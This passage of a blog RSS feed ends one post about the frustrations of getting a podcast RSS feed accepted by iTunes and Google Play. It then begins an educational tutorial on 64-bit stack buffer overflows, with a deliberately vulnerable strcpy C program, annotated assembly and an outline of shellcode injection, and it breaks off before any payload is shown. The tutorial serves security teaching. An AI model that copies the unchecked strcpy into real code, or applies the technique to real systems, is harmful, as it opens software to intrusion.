&lt;p&gt;So, as any lazy programmer does, I started by searching for “jekyll
podcast rss”, since GitHub pages is &lt;a href=&quot;https://help.github.com/en/articles/about-github-pages-and-jekyll&quot;&gt;basically
Jekyll&lt;/a&gt;.
And lo and behold, “&lt;a href=&quot;https://dyscribe.com/en/podcasting/podcasting-with-jekyll-in-4-steps.html&quot;&gt;Podcasting with Jekyll in 4
Steps&lt;/a&gt;”
pops up. Great! I’ll be done in no time. Seems easy enough. Steps 1 and
2 I’ve already completed. Copy-paste the RSS template, and it seems to
generate correctly, great!&lt;/p&gt;

&lt;p&gt;Now just to double check, let’s run it through a validator. “itunes
podcast rss validator” brings up &lt;a href=&quot;http://castfeedvalidator.com/&quot;&gt;Cast Feed
Validator&lt;/a&gt;,
&lt;a href=&quot;https://podba.se/validate/&quot;&gt;podbase&lt;/a&gt;, and &lt;a href=&quot;http://www.feedvalidator.org/&quot;&gt;FEED
validator&lt;/a&gt;. I guess let’s try all three.
They all complain about slightly different things, like the
&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;&amp;lt;atom::link&amp;gt;&lt;/code&gt; tag not pointing to the right URL, so I do some tweaking
to make things work on GitHub Pages. Oh, yeah, and apparently iTunes
only accepts &lt;a href=&quot;https://support.castos.com/article/72-itunes-can-t-read-your-feed&quot;&gt;certain HTTPS
certificates&lt;/a&gt;,
and the one used by GitHub Pages isn’t one of them. I guess I’ll have to
proxy through CloudFlare or something.&lt;/p&gt;

&lt;p&gt;This process does cause me to read through the XML more carefully
though, and I see a number of other things that seem odd. First, there
are several calls to &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;xml_escape&lt;/code&gt;, which seems weird given the existence
of &lt;a href=&quot;https://en.wikipedia.org/wiki/CDATA&quot;&gt;CDATA&lt;/a&gt;. Second,
&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;&amp;lt;description&amp;gt;&lt;/code&gt;, &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;&amp;lt;itunes:subtitle&amp;gt;&lt;/code&gt;, and &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;&amp;lt;itunes:summary&amp;gt;&lt;/code&gt; seem very
overlapping – how do they differ? It’s time to look for the spec!&lt;/p&gt;

&lt;p&gt;iTunes seems to be the primary standard-setter for podcast RSS feeds, so
I quickly end up at Apple’s &lt;a href=&quot;https://help.apple.com/itc/podcasts_connect/#/itcbaf351599&quot;&gt;Podcast feed
sample&lt;/a&gt;.
Except this also has a number of tags my feed does not, such as
&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;&amp;lt;itunes:type&amp;gt;&lt;/code&gt; and &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;&amp;lt;itunes:title&amp;gt;&lt;/code&gt; (how does it differ from
&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;&amp;lt;title&amp;gt;&lt;/code&gt;?). I also see that they are nesting something called
&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;&amp;lt;content:encoded&amp;gt;&lt;/code&gt; inside of &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;&amp;lt;description&amp;gt;&lt;/code&gt;, and also using CDATA.
Their value in &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;&amp;lt;itunes:duration&amp;gt;&lt;/code&gt; is in seconds, not as HH:MM:SS. I try
to match my XML to theirs — it now fails validation. Okay… Is there
a full specification somewhere?&lt;/p&gt;

&lt;p&gt;I find Apple’s &lt;a href=&quot;https://help.apple.com/itc/podcasts_connect/#/itc2b3780e76&quot;&gt;Podcast best
practices&lt;/a&gt;,
which goes into some more details about the difference between different
tags (like summary and description). They say that &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;&amp;lt;content::encoded&amp;gt;&lt;/code&gt;
should be &lt;em&gt;separate&lt;/em&gt; from &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;&amp;lt;description&amp;gt;&lt;/code&gt;, in direct contradiction of
the feed example. They also recommend &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;&amp;lt;itunes:type&amp;gt;&lt;/code&gt;, except that tag
is rejected by the validator as not part of the schema.&lt;/p&gt;

&lt;p&gt;I find Apple’s &lt;a href=&quot;https://help.apple.com/itc/podcasts_connect/#/itcb54353390&quot;&gt;Podcaster’s guide to
RSS&lt;/a&gt;. This
has an official-looking table with “required tags” and “recommended
tags”. Finally! Except here, for &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;&amp;lt;description&amp;gt;&lt;/code&gt;, the example shows
&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;&amp;lt;content:encoded&amp;gt;&lt;/code&gt;? The “best practices” document also said that
&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;&amp;lt;content:encoded&amp;gt;&lt;/code&gt; could be used at “episode-level only”, whereas this
document seems to say that &lt;em&gt;all&lt;/em&gt; description elements should have it?
At the bottom, it says “only use markup or HTML contained within
&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;&amp;lt;content:encoded&amp;gt;&lt;/code&gt; tags inside of &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;&amp;lt;description&amp;gt;&lt;/code&gt; tags”, reiterating
that one should be &lt;em&gt;inside&lt;/em&gt; the other, even though this seems contrary
to the &lt;a href=&quot;http://www.rssboard.org/rss-profile#namespace-elements-content-encoded&quot;&gt;RSS
spec&lt;/a&gt;
(see also
&lt;a href=&quot;https://stackoverflow.com/questions/7220670/difference-between-description-and-contentencoded-tags-in-rss2&quot;&gt;StackOverflow&lt;/a&gt;).
The spec also says that if &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;&amp;lt;content:encoded&amp;gt;&lt;/code&gt; is present, &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;&amp;lt;description&amp;gt;&lt;/code&gt;
should be used as a summary (so what is &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;&amp;lt;itunes:summary&amp;gt;&lt;/code&gt; for?).&lt;/p&gt;

&lt;p&gt;This document also specifies that &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;&amp;lt;itunes:title&amp;gt;&lt;/code&gt; should be used for
episode titles, not &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;&amp;lt;title&amp;gt;&lt;/code&gt;, whereas the same is not true for the
channel title. At least it clarifies that &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;&amp;lt;itunes:duration&amp;gt;&lt;/code&gt; can take
“different duration formats”, so that (maybe) explains it being given in
both seconds and HH:MM:SS format. Oh, and &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;&amp;lt;itunes:keywords&amp;gt;&lt;/code&gt; is also
apparently not a thing. And when it says that you can use &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;false&lt;/code&gt; or
&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;true&lt;/code&gt; for things like &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;&amp;lt;itunes:explicit&amp;gt;&lt;/code&gt;, that’s a lie – you must use
&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;no&lt;/code&gt; or &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;yes&lt;/code&gt;.&lt;/p&gt;

&lt;p&gt;Okay, so that is a hot mess. Let’s see what schema Google recommends for
its podcast feeds. Some initial Googling leads us to &lt;a href=&quot;https://www.google.com/schemas/play-podcasts/1.0/&quot;&gt;this
page&lt;/a&gt;, which has a
link to the XSD schema file and a &lt;a href=&quot;https://support.google.com/googleplay/podcasts/answer/6260341&quot;&gt;Google Support
answer&lt;/a&gt;.
The latter &lt;em&gt;does&lt;/em&gt; give an outline of the required tags, but it seems to
mostly be “do what iTunes requires and we’ll figure it out”. They
provide their own &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;googleplay&lt;/code&gt; namespace if you need to, say, &lt;a href=&quot;https://twitter.com/Jonhoo/status/1138189951437135872&quot;&gt;use
a different e-mail address on
Google&lt;/a&gt;.
Unfortunately, their “Sample podcast RSS feed” &lt;a href=&quot;http://www.feedvalidator.org/check.cgi?url=https%3A%2F%2Fgist.githubusercontent.com%2Fjonhoo%2F20fbc04ce70c8c4d90c8310cb8327e34%2Fraw%2Fb0f35300937c1ca8807144316431e0b58f4a5d02%2Fgoogleplay-podcast-sample-feed.xml&quot;&gt;doesn’t
validate&lt;/a&gt;,
because:&lt;/p&gt;

&lt;blockquote&gt;
  &lt;p&gt;Use of unknown namespace: http://www.google.com/schemas/play-podcasts/1.0&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;Great, so the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;googleplay&lt;/code&gt; namespace doesn’t work, so you can’t use a
different e-mail address for iTunes and Google Play. Fantastic.&lt;/p&gt;

&lt;p&gt;Okay, whatever, let’s at least just see whether iTunes will accept what
I &lt;a href=&quot;https://gist.github.com/jonhoo/b84935123965c6508e143cc271b48c59&quot;&gt;now
have&lt;/a&gt;.
I’m just going to sign up for an Apple ID real quick. Just have to fill
out &lt;a href=&quot;https://appleid.apple.com/account#!&amp;amp;page=create&quot;&gt;this little form&lt;/a&gt;
(which requires JavaScript, because of course it does) and then verify
my e-mail. Easy enough.&lt;/p&gt;

&lt;blockquote&gt;
  &lt;p&gt;Your account cannot be created at this time.&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;Err, what? Okay, different e-mail address?&lt;/p&gt;

&lt;blockquote&gt;
  &lt;p&gt;Your account cannot be created at this time.&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;Err, okay, different browser?&lt;/p&gt;

&lt;blockquote&gt;
  &lt;p&gt;Your account cannot be created at this time.&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;Different browser, e-mail address, and over VPN?&lt;/p&gt;

&lt;blockquote&gt;
  &lt;p&gt;Your account cannot be created at this time.&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;I guess it’s time to contact Apple support. My only option is to either
have them call me or schedule a call for later. No idea why online
support isn’t a thing, but okay. I put in my phone number and the
cryptic error message and wait. Two minutes later, I get a text from
&lt;a href=&quot;https://fi.google.com/&quot;&gt;Google Fi&lt;/a&gt; that I have a missed call.
Apparently Apple Support tried to call me and it went to voicemail. Huh,
weird. I was by my phone the whole time and it never rang. I get an
e-mail saying they failed to reach me and will try again. I get another
missed call from voicemail. Apple gives up.&lt;/p&gt;

&lt;p&gt;After digging through my calls list, I notice that the missed calls show
the incoming calls from Apple with the “Blocked spam caller” icon.
Uh-oh. I guess Google Fi marks Apple Support as spam? Great. I unmark as
spam and file another support ticket. The call goes through immediately.&lt;/p&gt;

&lt;p&gt;Okay, so I’m speaking to Porschia. Seems friendly enough. I tell them my
issue again and my e-mail address. They disappear for a while,
occasionally checking back that it’ll just be a bit longer. After about
10 minutes of mostly silence, they tell me to try again. It works! I ask
why. “Your e-mail had to be whitelisted”. What?! Apparently Apple
doesn’t like people with e-mail addresses under custom domains signing
up for an Apple ID? How bizarre.&lt;/p&gt;

&lt;p&gt;Well, I have an Apple ID account now, so onwards! The Interwebs tell me
that I should now go to &lt;a href=&quot;https://podcastsconnect.apple.com/&quot;&gt;Podcasts
Connect&lt;/a&gt;, so I do.&lt;/p&gt;

&lt;blockquote&gt;
  &lt;p&gt;Podcasts Connect requires an iTunes Store account.&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;Err… And that’s &lt;em&gt;different&lt;/em&gt; from an Apple ID? Apparently a magic
“&lt;a href=&quot;https://support.apple.com/en-us/HT201762&quot;&gt;blessing&lt;/a&gt;” happens to your
Apple account the first time you log in through an Apple product (either
a device or iTunes). And that blessing is needed to publish a podcast.
I guess that’s next. But… I’m on Linux, and I own no Apple devices.
There is quite literally no way for me to log into an Apple product.
Unless…&lt;/p&gt;

&lt;p&gt;A while back, Microsoft released &lt;a href=&quot;https://developer.microsoft.com/en-us/microsoft-edge/tools/vms/&quot;&gt;Windows virtual machine
images&lt;/a&gt;
to allow you to test stuff in older versions of Internet Explorer.
They’re free to download, but expire after 90 days. That’s fine. I just
need to &lt;em&gt;log in to iTunes&lt;/em&gt;. So, I download a Windows VM, install iTunes
on there, log in with my new Apple ID, give my address, and click
continue expecting that there’s some additional process I have to go
through involving a credit card and whatnot to get my account blessed.&lt;/p&gt;

&lt;blockquote&gt;
  &lt;p&gt;You have been logged in to iTunes.&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;So, let me get this straight. I had to download a 6GB Windows VM + 200MB
of iTunes just so I could fill in my address? There really wasn’t any
way I could have done this through the web Apple? At least I’m not the
only one who has commented on &lt;a href=&quot;http://rickluna.com/wp/2016/08/submitting-a-podcast-to-itunes/&quot;&gt;this being
stupid&lt;/a&gt;
in the past.&lt;/p&gt;

&lt;p&gt;Anyway, with my special iTunes Store account in hand, I now navigate
back to Podcasts Connect, and am met with a mostly blank page with a
single text input field named “RSS Feed URL”. I give it what it wants,
and it spins for a while. Then&lt;/p&gt;

&lt;blockquote&gt;
  &lt;p&gt;Failed Validation&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;No further explanation. It just.. Failed. Back to the other validators I
guess. The unrecognized Google Play schema definition was the only
reported error, so I removed that. An what do you know, that was it.
iTunes validated my XML! Now let’s just double-check the details it has
extracted. Huh, that’s weird. The episode listing shows a blank string
under “Description” for the included episode. After some digging, it
turns out that the podcast episode “Description” in this list is, wait
for it… &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;&amp;lt;itunes:subtitle&amp;gt;&lt;/code&gt;. Because it’d be silly if it was &lt;em&gt;any of
the three other tags that are meant to be descriptions&lt;/em&gt;.&lt;/p&gt;

&lt;p&gt;But hey, at least now I &lt;em&gt;think&lt;/em&gt; I’m about ready to publish this thing.
Cue record scratch…&lt;/p&gt;
</description>
        <pubDate>Wed, 10 Jul 2019 07:49:37 +0000</pubDate>
	<link>https://thesquareplanet.com/blog/my-first-podcast-a-tale-of-a-broken-ecosystem/</link>
	<guid isPermaLink="true">https://thesquareplanet.com/blog/my-first-podcast-a-tale-of-a-broken-ecosystem/</guid>
        
        
      </item>
      
    
      
      <item>
        <title>Smashing the Stack in the 21st Century</title>
        <description>&lt;p&gt;Aleph One’s excellent &lt;a href=&quot;http://phrack.org/issues/49/14.html#article&quot;&gt;Smashing the Stack for Fun and Profit&lt;/a&gt; article
from 1996 has long been the go-to for anyone looking to learn how buffer
overflow attacks work. But the world has changed a lot since then, and
the original attacks will not generally work on modern 64-bit machines.
Some of this is due to many new defense mechanisms that are now enabled
by default (see Paul Makowski’s &lt;a href=&quot;https://paulmakowski.wordpress.com/2011/01/25/smashing-the-stack-in-2011/&quot;&gt;Smashing the Stack in 2011&lt;/a&gt; for an
overview), but those can be &lt;a href=&quot;/blog/smashing-the-stack-21st-century/#disabling-modern-defenses&quot;&gt;disabled&lt;/a&gt; if
all you want to do is understand how these attacks work. What cannot
easily be avoided any more though is 64-bit execution environments.&lt;/p&gt;

&lt;h1 id=&quot;the-stack-region&quot;&gt;The Stack Region&lt;/h1&gt;

&lt;p&gt;Before we discuss exactly how things change in the 64-bit world, let’s
take a step back and revisit what a (stack) buffer overflow attack is.
To do so, let’s start with a very simple, and perhaps silly, C program:&lt;/p&gt;

&lt;div class=&quot;language-c highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;cp&quot;&gt;#include&lt;/span&gt; &lt;span class=&quot;cpf&quot;&gt;&amp;lt;string.h&amp;gt;&lt;/span&gt;&lt;span class=&quot;cp&quot;&gt;
#include&lt;/span&gt; &lt;span class=&quot;cpf&quot;&gt;&amp;lt;stdio.h&amp;gt;&lt;/span&gt;&lt;span class=&quot;cp&quot;&gt;
&lt;/span&gt;&lt;span class=&quot;kt&quot;&gt;void&lt;/span&gt; &lt;span class=&quot;nf&quot;&gt;copy&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;kt&quot;&gt;char&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;str&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
   &lt;span class=&quot;kt&quot;&gt;char&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;buffer&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;16&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;];&lt;/span&gt;
   &lt;span class=&quot;n&quot;&gt;strcpy&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;buffer&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;str&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
   &lt;span class=&quot;n&quot;&gt;printf&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;%s&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\n&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;buffer&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
&lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;

&lt;span class=&quot;kt&quot;&gt;int&lt;/span&gt; &lt;span class=&quot;nf&quot;&gt;main&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;kt&quot;&gt;int&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;argc&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;kt&quot;&gt;char&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;**&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;argv&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
   &lt;span class=&quot;n&quot;&gt;copy&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;argv&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;1&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]);&lt;/span&gt;
   &lt;span class=&quot;k&quot;&gt;return&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
&lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;When this program runs, the program reserves a part of its memory as its
&lt;em&gt;stack&lt;/em&gt;. The program uses the stack to keep track of its state as it
runs, such as the values of local variables, where to return to, etc. In
general, the stack starts at a high memory address, and new things are
&lt;em&gt;pushed&lt;/em&gt; onto the stack at &lt;em&gt;lower&lt;/em&gt; memory addresses. Usually, when a
function is called, it gets its own &lt;em&gt;stack frame&lt;/em&gt; where it can keep
track of its local variables and the like. For example, when &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;copy&lt;/code&gt; is
called above, the stack will look a little like this:&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;                    .-------0x00-------.
                    :                  :
                    :       ....       :
                    |------------------|
    &quot;top&quot; of stack  |                  |  &quot;bottom&quot; of memory
                    |   copy&apos;s frame   |  (low addresses)
                    |                  |
                    |------------------|
                    |                  |
 &quot;bottom&quot; of stack  |   main&apos;s frame   |  &quot;top&quot; of memory
                    |                  |   (high addresses)
                    `------------------`
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Notice that things that are pushed to the stack &lt;em&gt;later&lt;/em&gt; are &lt;em&gt;higher&lt;/em&gt; in
the stack, and thus at &lt;em&gt;lower&lt;/em&gt; memory addresses. But what do those
frames actually contain? It depends on the architecture and the
compiler, but in general, stack frames always contain at least two
things: memory needed for the function’s local variables (like &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;buffer&lt;/code&gt;
in &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;copy&lt;/code&gt;), and the address of where the function should return.&lt;/p&gt;

&lt;h1 id=&quot;the-calling-convention&quot;&gt;The Calling Convention&lt;/h1&gt;

&lt;p&gt;The best way to understand this in more detail is to dig into some
assembly (using &lt;a href=&quot;https://en.wikipedia.org/wiki/X86_assembly_language#Syntax&quot;&gt;AT&amp;amp;T syntax&lt;/a&gt;). Specifically, let’s look at what happens
on [x64], the 64-bit architecture used by Intel and AMD’s 64-bit CPUs,
when &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;main&lt;/code&gt; calls &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;copy&lt;/code&gt;:&lt;/p&gt;

&lt;pre&gt;&lt;code class=&quot;language-asm&quot;&gt;# This is the assembly for our C code, modified slightly to make it
# easier to follow. It&apos;s on godbolt at: https://godbolt.org/z/J3oWfn
#
# You can also generate it locally with:
#
#   $ gcc -o simple.S -S -fno-stack-protector simple.c
#   $ cat simple.S
#
main:
  # ... various setup for main() ...
  # at this point, argv is in %rax
  # to call copy, we place its 1st argument in the %rdi register
  movq    %rax, %rdi

  # and then we call copy. call pushes the &quot;rip&quot;, a pointer to the
  # current instruction, onto the stack, and then jumps to the
  # address of copy.
  call    copy(char*)

  # this is where copy returns to when it issues the ret
  # instruction. you should go read the assembly for copy now.
  # after this point, main just returns, and the program exits
  leave
  ret

copy(char*):
  # this is known as the &quot;function prologue&quot;, and appears at the
  # top of pretty much every function. it&apos;s not _required_ by x64,
  # but is something most compilers emit for most functions.
  # first, we remember where the callers stack frame started
  pushq   %rbp

  # then we set that our stack frame starts here
  movq    %rsp, %rbp

  # then we make some space on the stack for local variables
  # in this case, 8 bytes for the str pointer, 16 bytes for
  # the buffer, and then the compiler rounds up to 32 bytes
  # to maintain 16-byte stack alignment.
  subq    $32, %rsp

  # at this point, our stack frame looks like this:
  # (every line is 8 bytes wide)
  #
  #     .-------0x00-------.
  #     :                  :
  #     |                  | &amp;lt;- %rsp
  #     |     padding      |
  #     |       str        |
  #     |  buffer[ 0-7  ]  |
  #     |  buffer[ 8-15 ]  | &amp;lt;- %rbp
  #     | [ main&apos;s  %rbp ] |
  #     | [return address] |
  #     |------------------|
  #     :   main&apos;s frame   :
  #     `------------------`
  #
  # or, displayed differently:
  #
  #   bottom of                                             top of
  #   memory                                                memory
  #
  #           str         buffer         sbp        ret
  #   &amp;lt;-- [        ][ 0           15 ][        ][        ] main...
  #
  #   top of                                             bottom of
  #   stack                                                  stack

  # the x64 calling convention dictates that a function&apos;s first
  # argument resides in the %rdi register. so the assembly code
  # for copy next stores the value for the str pointer into the
  # memory for the local variable str
  movq    %rdi, -24(%rbp)

  # we&apos;re now gearing up to call strcpy.
  # it takes two arguments, the target and the destination
  # which we need to stick into %rdi and %rsi respectively
  # (again, as per the x64 calling convention)

  # first, put the address of buffer[0], which starts 16 bytes
  # before %rbp (that is, 16 bytes higher up the stack), into
  # %rdi. leaq is like movq, but copies the address of its
  # arguments instead of its contents.
  leaq    -16(%rbp), %rdi

  # then, put the value of str into %rsi.
  #
  # notice that the compiler _could_ have been cleverer here,
  # by sticking %rdi directly into %rsi before modifying %rdi
  # instead of leaving space on the stack for str.
  movq    -24(%rbp), %rsi

  # next, we call strcpy, and the same thing will happen
  # as when main called us. when it returns, it&apos;ll leave the stack
  # exactly like it was before we called it.
  call    strcpy

  # when strcpy returns, we&apos;ll end up here.
  # we now want to print out the string, so we put the address of
  # buffer[0] in %rdi as the first argument again
  leaq    -16(%rbp), %rdi
  # and then call puts this time, which prints the given buffer
  call    puts

  # finally, we&apos;re ready to return, so we use leave to restore
  # main&apos;s values for %rsp and %rbp. see
  # https://www.felixcloutier.com/x86/leave for the details of how
  # this works if you&apos;re interested.
  leave

  # we then use ret to return to main.
  # ret pops the return address from the stack and jumps to it.
  ret
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;Hopefully that wasn’t too painful to follow. If you’ve read &lt;a href=&quot;http://phrack.org/issues/49/14.html#article&quot;&gt;Smashing
the Stack for Fun and Profit&lt;/a&gt; before, you’ll notice a number of
similarities in how this all worked. You may also notice a crucial
difference – arguments to functions are no longer passed on the stack.
We’ll get back to that later.&lt;/p&gt;

&lt;h1 id=&quot;buffer-overflows&quot;&gt;Buffer Overflows&lt;/h1&gt;

&lt;p&gt;Now that we have that background, the path to a buffer overflow on the
stack is pretty short. Specifically, consider what happens if we write
&lt;em&gt;more&lt;/em&gt; than 16 bytes into &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;buffer&lt;/code&gt;. This can happen, since &lt;a href=&quot;https://linux.die.net/man/3/strcpy&quot;&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;strcpy&lt;/code&gt;&lt;/a&gt;
just keeps copying bytes until it encounters a byte with a value 0x00
(see &lt;a href=&quot;https://en.wikipedia.org/wiki/Null-terminated_string&quot;&gt;null-terminated strings&lt;/a&gt; and the &lt;a href=&quot;https://en.wikipedia.org/wiki/Null_character&quot;&gt;null character&lt;/a&gt;), and we don’t
check that the user’s input (&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;argv[1]&lt;/code&gt; – the program’s first
command-line argument) is shorter than 16 bytes!&lt;/p&gt;

&lt;p&gt;If &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;buffer&lt;/code&gt; is &lt;em&gt;overrun&lt;/em&gt;, we call this a &lt;em&gt;buffer overflow&lt;/em&gt;. What happens
as a result of a buffer overflow depends entirely on what comes &lt;em&gt;after&lt;/em&gt;
the buffer in memory. Let’s take a look at our horizontal stack diagram:&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;  bottom of                                             top of
  memory                                                memory

          str         buffer         sbp        ret
  &amp;lt;-- [        ][ 0           15 ][        ][        ] main...
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;In this particular example, what comes after the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;buffer&lt;/code&gt; is the saved
&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;%rbp&lt;/code&gt; value from &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;main&lt;/code&gt;, which isn’t all that exciting. But &lt;em&gt;then&lt;/em&gt;
comes the return value. This is where &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;copy&lt;/code&gt; will jump to when it
returns. What if we overwrite that with a different address? Well, if we
overwrite it with garbage (like &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;AAAAAAAAAA&lt;/code&gt;, or the address
&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;0x4141414141414141&lt;/code&gt;), the program will probably crash because the
program tried to jump to a place in memory where there (probably) isn’t
any code to run. But what if we overwrote it with an address to
somewhere where there &lt;em&gt;is&lt;/em&gt; code to run? Code that we, as an attacker,
want to run? Something that gives us a shell prompt or removes a
critical file?&lt;/p&gt;

&lt;h1 id=&quot;shell-code&quot;&gt;Shell Code&lt;/h1&gt;

&lt;p&gt;The most basic, and easiest to understand, stack overflow attack
involves injecting some of our own code into the program’s memory, and
then overwriting a return address with the address of that memory so
that our code gets executed when that function returns. Or, with a
diagram:&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;  bottom of                                             top of
  memory                                                memory

          str         buffer         sbp        ret
  &amp;lt;-- [        ][ 0           15 ][        ][        ] main...
                  ^                              |
                  |------------------------------|
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;All we have to do is overwrite the return address with the address of
the buffer, and then fill the buffer with some code that does what we
want. This code is often referred to as &lt;em&gt;shell code&lt;/em&gt;, because what we
usually want is to start a shell, which we can then use to issue further
commands. Specifically, what we put in the buffer is &lt;em&gt;compiled&lt;/em&gt; assembly
code that the CPU knows how to run. This section is mostly the same
across 32-bit and 64-bit, so go read the “Shell Code” section of
&lt;a href=&quot;http://phrack.org/issues/49/14.html#article&quot;&gt;Smashing the Stack for Fun and Profit&lt;/a&gt;, and then come back here when
you reach the next section: “Writing an Exploit”.&lt;/p&gt;

&lt;p&gt;So, by now you have a good idea of what the shell code does, and why it
does it that way. We now just need to tweak it slightly to work with
64-bit programs. Luckily, that’s pretty straightforward.&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;
    &lt;p&gt;First, as you can see from the output of &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;man 2 syscall&lt;/code&gt;, the calling
convention for 64-bit system calls is a &lt;em&gt;little&lt;/em&gt; different from the
